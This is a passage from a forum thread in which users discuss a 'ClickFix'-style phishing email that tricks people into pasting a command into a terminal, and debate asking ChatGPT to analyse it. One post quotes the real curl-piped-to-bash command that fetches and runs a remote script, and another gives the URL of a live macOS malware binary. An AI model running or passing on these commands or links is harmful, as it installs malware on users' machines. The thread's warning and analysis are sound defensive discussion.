> as ChatGPT confirmed when I asked it to analyze it lol we are so cooked
I think it's great.
If the LLM takes it upon itself to download malware, the user is protected.
The scariest "user support" email I've received
41–50 of 267 posts
Re: The scariest "user support" email I've received
#42I got one of these too, ostensibly from Cloudflare: https://imgur.com/a/FZM22Lg This is what it put in my clipboard for me to paste: /bin/bash -c "$(curl -fsSL https://cogideotekblablivefox.monster/installer.sh)"
[deleted]
Re: The scariest "user support" email I've received
#43Geez, I skimmed the image with the "steps" and the devtools next to it and assumed it was steps to get the user to open the DevTools, but later when he said it would download a file I thought "You can tell the DevTools to download a file and execute it as a shell script?!". Then I read the steps again, step 2 is "Type in 'Terminal'"... oh come on, will many people fall for that?
people do fall for it. i don't know about "many", but i know that our CFO fell for exactly this and caused a rather intense situation recently
Re: The scariest "user support" email I've received
#44> as ChatGPT confirmed when I asked it to analyze it lol we are so cooked
I don't understand? It's actually a pretty good idea - ChatGPT will download whatever the link contains in its own sandboxed environment, without endangering your own machine. Or do you mean something else by saying we're cooked?
I doubt it downloaded or executed anything, it probably just did a base64 decode using some tool and then analysed the decoded bash command which would be very easy. Seems like a good use of an LLM to me.
Re: The scariest "user support" email I've received
#45Which is why it's infuriating that health care companies implement secure email by asking the customer to click on a 3rd party link in an email.
An email they're saying is an insecure delivery system.
But we're supposed to click on links in these special emails.
Fuck!
Re: The scariest "user support" email I've received
#46Geez, I skimmed the image with the "steps" and the devtools next to it and assumed it was steps to get the user to open the DevTools, but later when he said it would download a file I thought "You can tell the DevTools to download a file and execute it as a shell script?!". Then I read the steps again, step 2 is "Type in 'Terminal'"... oh come on, will many people fall for that?
> oh come on, will many people fall for that?
Enough that it's still a valid tactic.
I've seen these on comporimsed wordpress sites a lot. Will copy the command to the clipboard and instruct the user to either open up PowerShell and paste it or just paste in the Win+R Run dialog.
These types of phishs have been around for a really long time.
Re: The scariest "user support" email I've received
#47Earlier quoted context omitted.
I don't understand? It's actually a pretty good idea - ChatGPT will download whatever the link contains in its own sandboxed environment, without endangering your own machine. Or do you mean something else by saying we're cooked?
Perhaps he means, "We have this massive AI problem", and the default answer being: "Let's add more AI into the mix"
True, but we also have an intelligibility problem, and “footrace” was already taken.
Re: The scariest "user support" email I've received
#48[deleted]
Re: The scariest "user support" email I've received
#49> ChatGPT confirmed Why are you relying on fancy autocorrect to "confirm" anything? If anything, ask it how to confirm it yourself.
Especially when it's just a base64 decode directly piped into bash.
Especially when ChatGPT didn't get it right: the temp file is /tmp/pjKmMUFEYv8AlfKR, not /tmp/lRghl71wClxAGs. (I'd be inclined to give ChatGPT the benefit of the doubt, assuming the site randomly-generated a new filename on each refresh and OP just didn't know that, if these strings were the same length. But they're not, leading me to believe that ChatGPT substituted one for the other.)
Re: The scariest "user support" email I've received
#50> as ChatGPT confirmed when I asked it to analyze it lol we are so cooked
https://duckduckgo.com/?t=ffab&q=base64+decode+Y3VybCAtc0wgL...
So I downloaded this file... Apparently it is:
$ file -b grecaptcha
Mach-O universal binary with 2 architectures: [x86_64:\012- Mach-O 64-bit x86_64 executable, flags:] [\012- arm64:\012- Mach-O 64-bit arm64 executable, flags:]
May anyone do it for me? Use "otool", "dtruss", and "tcpdump" or something. :D Be careful!
The executable is available here: https://www.amanagencies.com/assets/js/grecaptcha as per decoded base64.